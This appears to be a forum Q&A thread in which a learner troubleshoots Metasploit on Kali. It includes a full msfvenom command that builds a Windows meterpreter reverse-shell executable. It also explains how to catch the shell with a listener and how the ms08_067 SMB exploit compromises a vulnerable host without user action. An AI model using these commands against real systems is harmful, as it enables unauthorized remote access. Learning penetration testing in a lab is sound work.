Using the windows/smb/ms08_067_netapi exploit and the windows/meterpreter/reverse_tcp as the payload this is what i get:

msf payload(reverse_tcp) > generate -f ~/Desktop/rootkit.exe -p windows -t exe
[*] Writing 73802 bytes to ~/Desktop/rootkit.exe...
[-] Error while running command generate: No such file or directory @ rb_sysopen - ~/Desktop/rootkit.exe

Call stack:

/usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/payload.rb:148:in 'initialize'
/usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/payload.rb:148:in 'open'
/usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/payload.rb:148:in 'cmd_generate'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:430:in 'run_command'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:392:in 'block in run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:386:in 'each'
/usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:386:in 'run_single'
/usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:205:in 'run'
/usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in 'start'
/usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in 'start'
/usr/bin/msfconsole:48:in '<main>'

Not sure what the problem is. I'm running Kali in a virtual box. Anyone have any ideas?

1 Answer 1


To use the ms08_067_netapi exploit, you don't need Windows to execute anything. You can exploit it directly. Not sure why are you creating an executable file to exploit that vulnerability. That's not needed.

Anyway, to create a reverse_tcp meterpreter .exe file, Why don't you use msfvenom?

Out of msfconsole, from a standard terminal. Type:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -f exe > ~/Desktop/rootkit.exe

Don't forget to replace x.x.x.x with your IP address. This IP address should be of your Metasploit's host which is going to listen using exploit/multi/handler while Windows execute the .exe file. The port can be changed too but default 4444 is ok.

  • Not sure what you mean by exploiting it directly. I'm creating the exe to keep things as simple as possible in order to learn metasploit based on what I can find on youtube, because I can't find much reliable docs on metasploit.
    – Kevin G.
    Jun 25, 2017 at 20:43
  • 1
    If you create a .exe file you'll need to use the exploit exploit/multi/handler to set Metasploit listening while the "victim" execute the .exe file. But to use ms08_067_netapi you should use the exploit exploit/windows/smb/ms08_067_netapi, is a different exploit. This exploit only needs to be executed and if the victim is vulnerable, no action on victim is needed to get the meterpreter shell, so the .exe file is useless. Jun 25, 2017 at 22:13
  • It is a service, so you will have to connect to the victim (i.e the exploit use RHOST option) in order to exploit the service, if it is vulnerable. What you are generating comes under client side attacks. Where you come up with some malware in order to get a reverse connection. These exploit will have LHOST options in the payload.
    – neferpitou
    Jun 25, 2017 at 23:02

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .